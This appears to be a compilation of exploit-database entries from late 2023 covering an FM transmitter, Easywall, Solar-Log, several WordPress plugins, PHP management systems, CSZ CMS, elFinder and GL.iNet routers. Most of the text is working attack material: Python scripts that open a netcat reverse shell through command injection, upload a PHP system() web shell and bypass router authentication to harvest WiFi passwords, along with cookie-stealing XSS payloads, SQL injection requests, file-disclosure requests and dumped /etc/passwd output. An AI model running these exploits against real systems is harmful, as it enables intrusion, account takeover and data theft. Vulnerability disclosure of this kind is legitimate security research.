R Radio Network FM Transmitter 1.07 system.cgi Password Disclosure Vendor: R Radio Network Product web page: http://www.pktc.ac.th Affected version: 1.07 Summary: R Radio FM Transmitter that includes FM Exciter and FM Amplifier parameter setup. Desc: The transmitter suffers from an improper access control that allows an unauthenticated actor to directly reference the system.cgi endpoint and disclose the clear-text password of the admin user allowing authentication bypass and FM station setup access. Tested on: CSBtechDevice Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2023-5802 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5802.php 09.10.2023 -- $ curl -s http://192.168.70.12/system.cgi <html><head><title>System Settings</title> ... ... Password for user 'admin'</td><td><input type=password name=pw size=10 maxlength=10 value="testingus"></td> ... ... $
-
Easywall 0.3.1 - Authenticated Remote Command Execution
# Exploit Title: Easywall 0.3.1 - Authenticated Remote Command Execution # Date: 30-11-2023 # Exploit Author: Melvin Mejia # Vendor Homepage: https://jpylypiw.github.io/easywall/ # Software Link: https://github.com/jpylypiw/easywall # Version: 0.3.1 # Tested on: Ubuntu 22.04 import requests, json, urllib3 urllib3.disable_warnings() def exploit(): # Replace values needed here target_host = "192.168.1.25" target_port= "12227" lhost = "192.168.1.10" lport = "9001" user = "admin" password = "admin" target = f"https://{target_host}:{target_port}" # Authenticate to the app print("[+] Attempting login with the provided credentials...") login_data = {"username":user, "password":password} session = requests.session() try: login = session.post(f'{target}/login',data=login_data,verify=False) except Exception as ex: print("[!] There was a problem connecting to the app, error:", ex) exit(1) if login.status_code != 200: print("[!] Login failed.") exit(1) else: print("[+] Login successfull.") # Send the payload, the port parameter suffers from a command injection vulnerability print("[+] Attempting to send payload.") rev_shell = f'/usr/bin/nc {lhost} {lport} -e bash #' data = {"port":f"123;{rev_shell}", "description":"","tcpudp":"tcp"} send_payload = session.post(f"{target}/ports-save",data=data,verify=False) if send_payload.status_code != 200: print("[!] Failed to send payload.") exit(1) else: print("[+] Payload sent.") # Trigger the execution of the payload print("[+] Attempting execution.") data = {"step_1":"", "step_2":""} execute = session.post(f"{target}/apply-save",data=data, verify=False) if execute.status_code != 200: print("[!] Attempt to execute failed.") exit(1) else: print(f"[+] Execution succeded, you should have gotten a shell at {lhost}:{lport}.") exploit()
-
Solar-Log 200 PM+ 3.6.0 Build 99 - 15.10.2019 - Stored XSS
# Exploit Title: Stored XSS in Solar-Log 200 3.6.0 web panel # Date: 10-30-23 # Exploit Author: Vincent McRae, Mesut Cetin - Redteamer IT Security # Vendor Homepage: https://www.solar-log.com/en/ # Version: Solar-Log 200 PM+ 3.6.0 Build 99 - 15.10.2019 # Tested on: Proprietary devices: https://www.solar-log.com/en/support/firmware/ # CVE: CVE-2023-46344 # POC: 1. Go to solar panel 2. Go to configuration -> Smart Energy -> "drag & drop" button. 3. Change "name" to: <xss onmouseenter="alert(document.cookie)" style=display:block>test</xss> 4. Once you hover over "test", you get XSS -> if a higher privileged user hovers over it, we can get their cookies.
-
Neontext Wordpress Plugin - Stored XSS
# Exploit Title: Wordpress Plugin Neon Text <= 1.1 - Stored Cross Site Scripting (XSS) # Date: 2023-11-15 # Exploit Author: Eren Car # Vendor Homepage: https://www.eralion.com/ # Software Link: https://downloads.wordpress.org/plugin/neon-text.zip # Category: Web Application # Version: 1.0 # Tested on: Debian / WordPress 6.4.1 # CVE : CVE-2023-5817 # 1. Description: The Neon text plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's neontext_box shortcode in 1.1 and above versions. # 2. Proof of Concept (PoC): a. Install and activate version 1.0 of the plugin. b. Go to the posts page and create new post. c. Add shorcode block and insert the following payload: [neontext_box][neontext color='"onmouseover="alert(document.domain)"']TEST[/neontext][/neontext_box] d. Save the changes and preview the page. Popup window demonstrating the vulnerability will be executed.
-
kk Star Ratings < 5.4.6 - Rating Tampering via Race Condition
# Exploit Title: kk Star Ratings < 5.4.6 - Rating Tampering via Race Condition # Google Dork: inurl:/wp-content/plugins/kk-star-ratings/ # Date: 2023-11-06 # Exploit Author: Mohammad Reza Omrani # Vendor Homepage: https://github.com/kamalkhan # Software Link: https://wordpress.org/plugins/kk-star-ratings/ # WPScan : https://wpscan.com/vulnerability/6f481d34-6feb-4af2-914c-1f3288f69207/ # Version: 5.4.6 # Tested on: Wordpress 6.2.2 # CVE : CVE-2023-4642 # POC: 1- Install and activate kk Star Ratings. 2- Go to the page that displays the star rating. 3- Using Burp and the Turbo Intruder extension, intercept the rating submission. 4- Send the request to Turbo Intruder using Action > Extensions > Turbo Intruder > Send to turbo intruder. 5- Drop the initial request and turn Intercept off. 6- In the Turbo Intruder window, add "%s" to the end of the connection header (e.g. "Connection: close %s"). 7- Use the code `examples/race.py`. 8- Click "Attack" at the bottom of the window. This will send multiple requests to the server at the same moment. 9- To see the updated total rates, reload the page you tested.
-
Lot Reservation Management System - Unauthenticated File Upload and Remote Code Execution
# Exploit Title: Lot Reservation Management System Unauthenticated File Upload and Remote Code Execution # Google Dork: N/A # Date: 10th December 2023 # Exploit Author: Elijah Mandila Syoyi # Vendor Homepage: https://www.sourcecodester.com/php/14530/lot-reservation-management-system-using-phpmysqli-source-code.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/lot-reservation-management-system.zip # Version: 1.0 # Tested on: Microsoft Windows 11 Enterprise and XAMPP 3.3.0 # CVE : N/A Developer description about application purpose:- ------------------------------------------------------------------------------------------------------------------------------------------------------------------ About The Lot Reservation Management System is a simple PHP/MySQLi project that will help a certain subdivision, condo, or any business that selling a land property or house and lot. The system will help the said industry or company to provide their possible client information about the property they are selling and at the same time, possible clients can reserve their desired property. The lot reservation system website for the clients has user-friendly functions and the contents that are displayed can be managed dynamically by the management. This system allows management to upload the area map, and by this feature, the system admin or staff will populate the list of lots, house models, or the property that they are selling to allow the possible client to choose the area they want. The map will be divided into each division of the property of building like Phase 1-5 of a certain Subdivision, each of these phases will be encoded individually in the system along with the map image showing the division of each property or lots. ------------------------------------------------------------------------------------------------------------------------------------------------------------------ Vulnerability:- The application does not properly verify authentication information and file types before files upload. This can allow an attacker to bypass authentication and file checking and upload malicious file to the server. There is an open directory listing where uploaded files are stored, allowing an attacker to open the malicious file in PHP, and will be executed by the server. Proof of Concept:- (HTTP POST Request) POST /lot/admin/ajax.php?action=save_division HTTP/1.1 Host: 192.168.150.228 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------217984066236596965684247013027 Content-Length: 606 Origin: http://192.168.150.228 Connection: close Referer: http://192.168.150.228/lot/admin/index.php?page=divisions -----------------------------217984066236596965684247013027 Content-Disposition: form-data; name="id" -----------------------------217984066236596965684247013027 Content-Disposition: form-data; name="name" sample -----------------------------217984066236596965684247013027 Content-Disposition: form-data; name="description" sample -----------------------------217984066236596965684247013027 Content-Disposition: form-data; name="img"; filename="phpinfo.php" Content-Type: application/x-php <?php phpinfo() ?> -----------------------------217984066236596965684247013027-- Check your uploaded file/shell in "http://192.168.150.228/lot/admin/assets/uploads/maps/". Replace the IP Addresses with the victim IP address.
-
CVE-2023-50071 - Multiple SQL Injection
# Exploit Title: Customer Support System 1.0 - Multiple SQL injection vulnerabilities # Date: 15/12/2023 # Exploit Author: Geraldo Alcantara # Vendor Homepage: https://www.sourcecodester.com/php/14587/customer-support-system-using-phpmysqli-source-code.html # Software Link: https://www.sourcecodester.com/download-code?nid=14587&title=Customer+Support+System+using+PHP%2FMySQLi+with+Source+Code # Version: 1.0 # Tested on: Windows # CVE : CVE-2023-50071 *Description*: Multiple SQL injection vulnerabilities in /customer_support/ajax.php?action=save_ticket in Customer Support System 1.0 allow authenticated attackers to execute arbitrary SQL commands via department_id, customer_id and subject.*Payload*: '+(select*from(select(sleep(20)))a)+' *Steps to reproduce*: 1- Log in to the application. 2- Navigate to the page /customer_support/index.php?page=new_ticket. 3- Create a new ticket and insert a malicious payload into one of the following parameters: department_id, customer_id, or subject. *Request:* POST /customer_support/ajax.php?action=save_ticket HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0 Accept: */* Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------81419250823331111993422505835 Content-Length: 853 Origin: http://192.168.68.148 Connection: close Referer: http://192.168.68.148/customer_support/index.php?page=new_ticket Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; PHPSESSID=mfd30tu0h0s43s7kdjb74fcu0l -----------------------------81419250823331111993422505835 Content-Disposition: form-data; name="id" -----------------------------81419250823331111993422505835 Content-Disposition: form-data; name="subject" teste'+(select*from(select(sleep(5)))a)+' -----------------------------81419250823331111993422505835 Content-Disposition: form-data; name="customer_id" 3 -----------------------------81419250823331111993422505835 Content-Disposition: form-data; name="department_id" 4 -----------------------------81419250823331111993422505835 Content-Disposition: form-data; name="description" <p>Blahs<br></p> -----------------------------81419250823331111993422505835 Content-Disposition: form-data; name="files"; filename="" Content-Type: application/octet-stream -----------------------------81419250823331111993422505835--
-
Lot Reservation Management System - Unauthenticated File Disclosure
# Exploit Title: Lot Reservation Management System Unauthenticated File Disclosure Vulnerability # Google Dork: N/A # Date: 10th December 2023 # Exploit Author: Elijah Mandila Syoyi # Vendor Homepage: https://www.sourcecodester.com/php/14530/lot-reservation-management-system-using-phpmysqli-source-code.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/lot-reservation-management-system.zip # Version: 1.0 # Tested on: Microsoft Windows 11 Enterprise and XAMPP 3.3.0 # CVE : N/A Developer description about application purpose:- ------------------------------------------------------------------------------------------------------------------------------------------------------------------ About The Lot Reservation Management System is a simple PHP/MySQLi project that will help a certain subdivision, condo, or any business that selling a land property or house and lot. The system will help the said industry or company to provide their possible client information about the property they are selling and at the same time, possible clients can reserve their desired property. The lot reservation system website for the clients has user-friendly functions and the contents that are displayed can be managed dynamically by the management. This system allows management to upload the area map, and by this feature, the system admin or staff will populate the list of lots, house models, or the property that they are selling to allow the possible client to choose the area they want. The map will be divided into each division of the property of building like Phase 1-5 of a certain Subdivision, each of these phases will be encoded individually in the system along with the map image showing the division of each property or lots. ------------------------------------------------------------------------------------------------------------------------------------------------------------------ Vulnerability:- The application is vulnerable to PHP source code disclosure vulnerability. This can be abused by an attacker to disclose sensitive PHP files within the application and also outside the server root. PHP conversion to base64 filter will be used in this scenario. Proof of Concept:- (HTTP POST Request) GET /lot/index.php?page=php://filter/convert.base64-encode/resource=admin/db_connect HTTP/1.1 Host: 192.168.150.228 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Referer: http://192.168.150.228/lot/ Cookie: PHPSESSID=o59sqrufi4171o8bkbmf1aq9sn Upgrade-Insecure-Requests: 1 The same can be achieved by removing the PHPSESSID cookie as below:- GET /lot/index.php?page=php://filter/convert.base64-encode/resource=admin/db_connect HTTP/1.1 Host: 192.168.150.228 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Referer: http://192.168.150.228/lot/ Upgrade-Insecure-Requests: 1 The file requested will be returned in base64 format in returned HTTP response. The attack can also be used to traverse directories to return files outside the web root. GET /lot/index.php?page=php://filter/convert.base64-encode/resource=D:\test HTTP/1.1 Host: 192.168.150.228 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Referer: http://192.168.150.228/lot/ Upgrade-Insecure-Requests: 1 This will return test.php file in the D:\ directory.
-
CSZ CMS Version 1.3.0 - Authenticated Remote Command Execution
# Exploit Title: CSZ CMS Version 1.3.0 Remote Command Execution # Date: 17/11/2023 # Exploit Author: tmrswrr # Vendor Homepage: https://www.cszcms.com/ # Software Link: https://www.cszcms.com/link/3#https://sourceforge.net/projects/cszcms/files/latest/download # Version: Version 1.3.0 # Tested on: https://www.softaculous.com/apps/cms/CSZ_CMS import os import zipfile from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.firefox.options import Options as FirefoxOptions from selenium.webdriver.firefox.service import Service as FirefoxService from webdriver_manager.firefox import GeckoDriverManager from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.common.exceptions import NoSuchElementException, TimeoutException import requests from time import sleep import sys import random import time import platform import tarfile from io import BytesIO email = "[email protected]" password = "password" class colors: OKBLUE = '\033[94m' WARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' BOLD = '\033[1m' UNDERLINE = '\033[4m' CBLACK = '\33[30m' CRED = '\33[31m' CGREEN = '\33[32m' CYELLOW = '\33[33m' CBLUE = '\33[34m' CVIOLET = '\33[35m' CBEIGE = '\33[36m' CWHITE = '\33[37m' color_random = [colors.CBLUE, colors.CVIOLET, colors.CWHITE, colors.OKBLUE, colors.CGREEN, colors.WARNING, colors.CRED, colors.CBEIGE] random.shuffle(color_random) def entryy(): x = color_random[0] + """ ╭━━━┳━━━┳━━━━╮╭━━━┳━╮╭━┳━━━╮╭━━━┳━━━┳━━━╮╭━━━┳━╮╭━┳━━━┳╮╱╱╭━━━┳━━┳━━━━╮ ┃╭━╮┃╭━╮┣━━╮━┃┃╭━╮┃┃╰╯┃┃╭━╮┃┃╭━╮┃╭━╮┃╭━━╯┃╭━━┻╮╰╯╭┫╭━╮┃┃╱╱┃╭━╮┣┫┣┫╭╮╭╮┃ ┃┃╱╰┫╰━━╮╱╭╯╭╯┃┃╱╰┫╭╮╭╮┃╰━━╮┃╰━╯┃┃╱╰┫╰━━╮┃╰━━╮╰╮╭╯┃╰━╯┃┃╱╱┃┃╱┃┃┃┃╰╯┃┃╰╯ ┃┃╱╭╋━━╮┃╭╯╭╯╱┃┃╱╭┫┃┃┃┃┣━━╮┃┃╭╮╭┫┃╱╭┫╭━━╯┃╭━━╯╭╯╰╮┃╭━━┫┃╱╭┫┃╱┃┃┃┃╱╱┃┃ ┃╰━╯┃╰━╯┣╯━╰━╮┃╰━╯┃┃┃┃┃┃╰━╯┃┃┃┃╰┫╰━╯┃╰━━╮┃╰━━┳╯╭╮╰┫┃╱╱┃╰━╯┃╰━╯┣┫┣╮╱┃┃ ╰━━━┻━━━┻━━━━╯╰━━━┻╯╰╯╰┻━━━╯╰╯╰━┻━━━┻━━━╯╰━━━┻━╯╰━┻╯╱╱╰━━━┻━━━┻━━╯╱╰╯ << CSZ CMS Version 1.3.0 RCE >> << CODED BY TMRSWRR >> << GITHUB==>capture0x >> \n""" for c in x: print(c, end='') sys.stdout.flush() sleep(0.0045) oo = " " * 6 + 29 * "░⣿" + "\n\n" for c in oo: print(colors.CGREEN + c, end='') sys.stdout.flush() sleep(0.0065) tt = " " * 5 + "░⣿" + " " * 6 + "WELCOME TO CSZ CMS Version 1.3.0 RCE Exploit" + " " * 7 + "░⣿" + "\n\n" for c in tt: print(colors.CWHITE + c, end='') sys.stdout.flush() sleep(0.0065) xx = " " * 6 + 29 * "░⣿" + "\n\n" for c in xx: print(colors.CGREEN + c, end='') sys.stdout.flush() sleep(0.0065) def check_geckodriver(): current_directory = os.path.dirname(os.path.abspath(__file__)) geckodriver_path = os.path.join(current_directory, 'geckodriver') if not os.path.isfile(geckodriver_path): red = "\033[91m" reset = "\033[0m" print(red + "\n\nGeckoDriver (geckodriver) is not available in the script's directory." + reset) user_input = input("Would you like to download it now? (yes/no): ").lower() if user_input == 'yes': download_geckodriver(current_directory) else: print(red + "Please download GeckoDriver manually from: https://github.com/mozilla/geckodriver/releases" + reset) sys.exit(1) def download_geckodriver(directory): print("[*] Detecting OS and architecture...") os_name = platform.system().lower() arch, _ = platform.architecture() if os_name == "linux": os_name = "linux" arch = "64" if arch == "64bit" else "32" elif os_name == "darwin": os_name = "macos" arch = "aarch64" if platform.processor() == "arm" else "" elif os_name == "windows": os_name = "win" arch = "64" if arch == "64bit" else "32" else: print("[!] Unsupported operating system.") sys.exit(1) geckodriver_version = "v0.33.0" geckodriver_file = f"geckodriver-{geckodriver_version}-{os_name}{arch}" ext = "zip" if os_name == "win" else "tar.gz" url = f"https://github.com/mozilla/geckodriver/releases/download/{geckodriver_version}/{geckodriver_file}.{ext}" print(f"[*] Downloading GeckoDriver for {platform.system()} {arch}-bit...") response = requests.get(url, stream=True) if response.status_code == 200: print("[*] Extracting GeckoDriver...") if ext == "tar.gz": with tarfile.open(fileobj=BytesIO(response.content), mode="r:gz") as tar: tar.extractall(path=directory) else: with zipfile.ZipFile(BytesIO(response.content)) as zip_ref: zip_ref.extractall(directory) print("[+] GeckoDriver downloaded and extracted successfully.") else: print("[!] Failed to download GeckoDriver.") sys.exit(1) def create_zip_file(php_filename, zip_filename, php_code): try: with open(php_filename, 'w') as file: file.write(php_code) with zipfile.ZipFile(zip_filename, 'w') as zipf: zipf.write(php_filename) print("[+] Zip file created successfully.") os.remove(php_filename) return zip_filename except Exception as e: print(f"[!] Error creating zip file: {e}") sys.exit(1) def main(base_url, command): if not base_url.endswith('/'): base_url += '/' zip_filename = None check_geckodriver() try: firefox_options = FirefoxOptions() firefox_options.add_argument("--headless") script_directory = os.path.dirname(os.path.abspath(__file__)) geckodriver_path = os.path.join(script_directory, 'geckodriver') service = FirefoxService(executable_path=geckodriver_path) driver = webdriver.Firefox(service=service, options=firefox_options) print("[*] Exploit initiated.") # Login driver.get(base_url + "admin/login") print("[*] Accessing login page...") driver.find_element(By.NAME, "email").send_keys(f"{email}") driver.find_element(By.NAME, "password").send_keys(f"{password}") driver.find_element(By.ID, "login_submit").click() print("[*] Credentials submitted...") try: error_message = driver.find_element(By.XPATH, "//*[contains(text(), 'Email address/Password is incorrect')]") if error_message.is_displayed(): print("[!] Login failed: Invalid credentials.") driver.quit() sys.exit(1) except NoSuchElementException: print("[+] Login successful.") # File creation print("[*] Preparing exploit files...") php_code = f"<?php echo system('{command}'); ?>" zip_filename = create_zip_file("exploit.php", "payload.zip", php_code) driver.get(base_url + "admin/upgrade") print("[*] Uploading exploit payload...") file_input = driver.find_element(By.ID, "file_upload") file_input.send_keys(os.path.join(os.getcwd(), zip_filename)) # Uploading driver.find_element(By.ID, "submit").click() WebDriverWait(driver, 10).until(EC.alert_is_present()) alert = driver.switch_to.alert alert.accept() # Exploit result exploit_url = base_url + "exploit.php" response = requests.get(exploit_url) print(f"[+] Exploit response:\n\n{response.text}") except Exception as e: print(f"[!] Error: {e}") finally: driver.quit() if zip_filename and os.path.exists(zip_filename): os.remove(zip_filename) if __name__ == "__main__": entryy() if len(sys.argv) < 3: print("Usage: python script.py [BASE_URL] [COMMAND]") else: main(sys.argv[1], sys.argv[2])
-
elFinder Web file manager Version - 2.1.53 Remote Command Execution
# Exploit Title: elFinder Web file manager Version: 2.1.53 Remote Command Execution # Date: 23/11/2023 # Exploit Author: tmrswrr # Google Dork: intitle:"elFinder 2.1.53" # Vendor Homepage: https://studio-42.github.io/elFinder/ # Software Link: https://github.com/Studio-42/elFinder/archive/refs/tags/2.1.53.zip # Version: 2.1.53 # Tested on: https://www.softaculous.com/apps/cms/CSZ_CMS 1 ) Enter admin panel and go to this url > https://demos1.softaculous.com/CSZ_CMSstym1wtmnz/admin/filemanager 2 ) Click Template Main and upload this test.php file : <?php echo system('cat /etc/passwd'); ?> 3 ) https://demos1.softaculous.com/CSZ_CMSstym1wtmnz/test.php root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin systemd-bus-proxy:x:999:998:systemd Bus Proxy:/:/sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin polkitd:x:998:997:User for polkitd:/:/sbin/nologin tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin chrony:x:997:995::/var/lib/chrony:/sbin/nologin soft:x:1000:1000::/home/soft:/sbin/nologin saslauth:x:996:76:Saslauthd user:/run/saslauthd:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin emps:x:995:1001::/home/emps:/bin/bash named:x:25:25:Named:/var/named:/sbin/nologin exim:x:93:93::/var/spool/exim:/sbin/nologin vmail:x:5000:5000::/var/local/vmail:/bin/bash webuzo:x:992:991::/home/webuzo:/bin/bash apache:x:991:990::/home/apache:/sbin/nologin mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false
-
GLiNet - Router Authentication Bypass
DZONERZY Security Research GLiNet: Router Authentication Bypass ======================================================================== Contents ======================================================================== 1. Overview 2. Detailed Description 3. Exploit 4. Timeline ======================================================================== 1. Overview ======================================================================== CVE-2023-46453 is a remote authentication bypass vulnerability in the web interface of GLiNet routers running firmware versions 4.x and up. The vulnerability allows an attacker to bypass authentication and gain access to the router's web interface. ======================================================================== 2. Detailed Description ======================================================================== The vulnerability is caused by a lack of proper authentication checks in /usr/sbin/gl-ngx-session file. The file is responsible for authenticating users to the web interface. The authentication is in different stages. Stage 1: During the first stage the user send a request to the challenge rcp endpoint. The endpoint returns a random nonce value used later in the authentication process. Stage 2: During the second stage the user sends a request to the login rcp endpoint with the username and the encrypted password. The encrypted password is calculated by the following formula: md5(username + crypt(password) + nonce) The crypt function is the standard unix crypt function. The vulnerability lies in the fact that the username is not sanitized properly before being passed to the login_test function in the lua script. ------------------------------------------------------------------------ local function login_test(username, hash) if not username or username == "" then return false end for l in io.lines("/etc/shadow") do local pw = l:match('^' .. username .. ':([^:]+)') if pw then for nonce in pairs(nonces) do if utils.md5(table.concat({username, pw, nonce}, ":")) == hash then nonces[nonce] = nil nonce_cnt = nonce_cnt - 1 return true end end return false end end return false end ------------------------------------------------------------------------ This script check the username against the /etc/shadow file. If the username is found in the file the script will extract the password hash and compare it to the hash sent by the user. If the hashes match the user is authenticated. The issue is that the username is not sanitized properly before being concatenated with the regex. This allows an attacker to inject a regex into the username field and modify the final behavior of the regex. for instance, the following username will match the userid of the root user: root:[^:]+:[^:]+ will become root:[^:]+:[^:]+:([^:]+) This will match the "root:" string and then any character until the next ":" character. This will cause the script skip the password and return the user id instead. Since the user id of the root user is always 0, the script will always return: md5("root:[^:]+:[^:]+" + "0" + nonce) Since this value is always the same, the attacker can simply send the known hash value to the login rcp endpoint and gain access to the web interface. Anyway this approach won't work as expected since later in the code inside the this check appear: ------------------------------------------------------------------------ local aclgroup = db.get_acl_by_username(username) local sid = utils.generate_id(32) sessions[sid] = { username = username, aclgroup = aclgroup, timeout = time_now() + session_timeout } ------------------------------------------------------------------------ The username which is now our custom regex will be passed to the get_acl_by_username function. This function will check the username against a database and return the aclgroup associated with the username. If the username is not found in the database the function will return nil, thus causing attack to fail. By checking the code we can see that the get_acl_by_username function is actually appending our raw string to a query and then executing it. This means that we can inject a sql query into the username field and make it return a valid aclgroup. ------------------------------------------------------------------------ M.get_acl_by_username = function(username) if username == "root" then return "root" end local db = sqlite3.open(DB) local sql = string.format("SELECT acl FROM account WHERE username = '%s'", username) local aclgroup = "" for a in db:rows(sql) do aclgroup = a[1] end db:close() return aclgroup end ------------------------------------------------------------------------ Using this payload we were able to craft a username which is both a valid regex and a valid sql query: roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+ this will make the sql query become: SELECT acl FROM account WHERE username = 'roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+' which will return the aclgroup of the root user (root). ======================================================================== 3. Exploit ======================================================================== ------------------------------------------------------------------------ # Exploit Title: [CVE-2023-46453] GL.iNet - Authentication Bypass # Date: 18/10/2023 # Exploit Author: Daniele 'dzonerzy' Linguaglossa # Vendor Homepage: https://www.gl-inet.com/ # Vulnerable Devices: # GL.iNet GL-MT3000 (4.3.7) # GL.iNet GL-AR300M(4.3.7) # GL.iNet GL-B1300 (4.3.7) # GL.iNet GL-AX1800 (4.3.7) # GL.iNet GL-AR750S (4.3.7) # GL.iNet GL-MT2500 (4.3.7) # GL.iNet GL-AXT1800 (4.3.7) # GL.iNet GL-X3000 (4.3.7) # GL.iNet GL-SFT1200 (4.3.7) # And many more... # Version: 4.3.7 # Firmware Release Date: 2023/09/13 # CVE: CVE-2023-46453 from urllib.parse import urlparse import requests import hashlib import random import sys def exploit(url): try: requests.packages.urllib3.disable_warnings() host = urlparse(url) url = f"{host.scheme}://{host.netloc}/rpc" print(f"[*] Target: {url}") print("[*] Retrieving nonce...") nonce = requests.post(url, verify=False, json={ "jsonrpc": "2.0", "id": random.randint(1000, 9999), "method": "challenge", "params": {"username": "root"} }, timeout=5).json() if "result" in nonce and "nonce" in nonce["result"]: print(f"[*] Got nonce: {nonce['result']['nonce']} !") else: print("[!] Nonce not found, exiting... :(") sys.exit(1) print("[*] Retrieving authentication token for root...") md5_hash = hashlib.md5() md5_hash.update( f"roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+:0:{nonce['result']['nonce']}".encode()) password = md5_hash.hexdigest() token = requests.post(url, verify=False, json={ "jsonrpc": "2.0", "id": random.randint(1000, 9999), "method": "login", "params": { "username": f"roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+", "hash": password } }, timeout=5).json() if "result" in token and "sid" in token["result"]: print(f"[*] Got token: {token['result']['sid']} !") else: print("[!] Token not found, exiting... :(") sys.exit(1) print("[*] Checking if we are root...") check = requests.post(url, verify=False, json={ "jsonrpc": "2.0", "id": random.randint(1000, 9999), "method": "call", "params": [token["result"]["sid"], "system", "get_status", {}] }, timeout=5).json() if "result" in check and "wifi" in check["result"]: print("[*] We are authenticated as root! :)") print("[*] Below some info:") for wifi in check["result"]["wifi"]: print(f"[*] --------------------") print(f"[*] SSID: {wifi['ssid']}") print(f"[*] Password: {wifi['passwd']}") print(f"[*] Band: {wifi['band']}") print(f"[*] --------------------") else: print("[!] Something went wrong, exiting... :(") sys.exit(1) except requests.exceptions.Timeout: print("[!] Timeout error, exiting... :(") sys.exit(1) except KeyboardInterrupt: print(f"[!] Something went wrong: {e}") if __name__ == "__main__": print("GL.iNet Auth Bypass\n") if len(sys.argv) < 2: print( f"Usage: python3 {sys.argv[1]} https://target.com", file=sys.stderr) sys.exit(0) else: exploit(sys.argv[1]) ------------------------------------------------------------------------ ======================================================================== 4. Timeline ======================================================================== 2023/09/13 - Vulnerability discovered 2023/09/14 - CVE-2023-46453 requested 2023/09/20 - Vendor contacted 2023/09/20 - Vendor replied 2023/09/30 - CVE-2023-46453 assigned 2023/11/08 - Vulnerability patched and fix released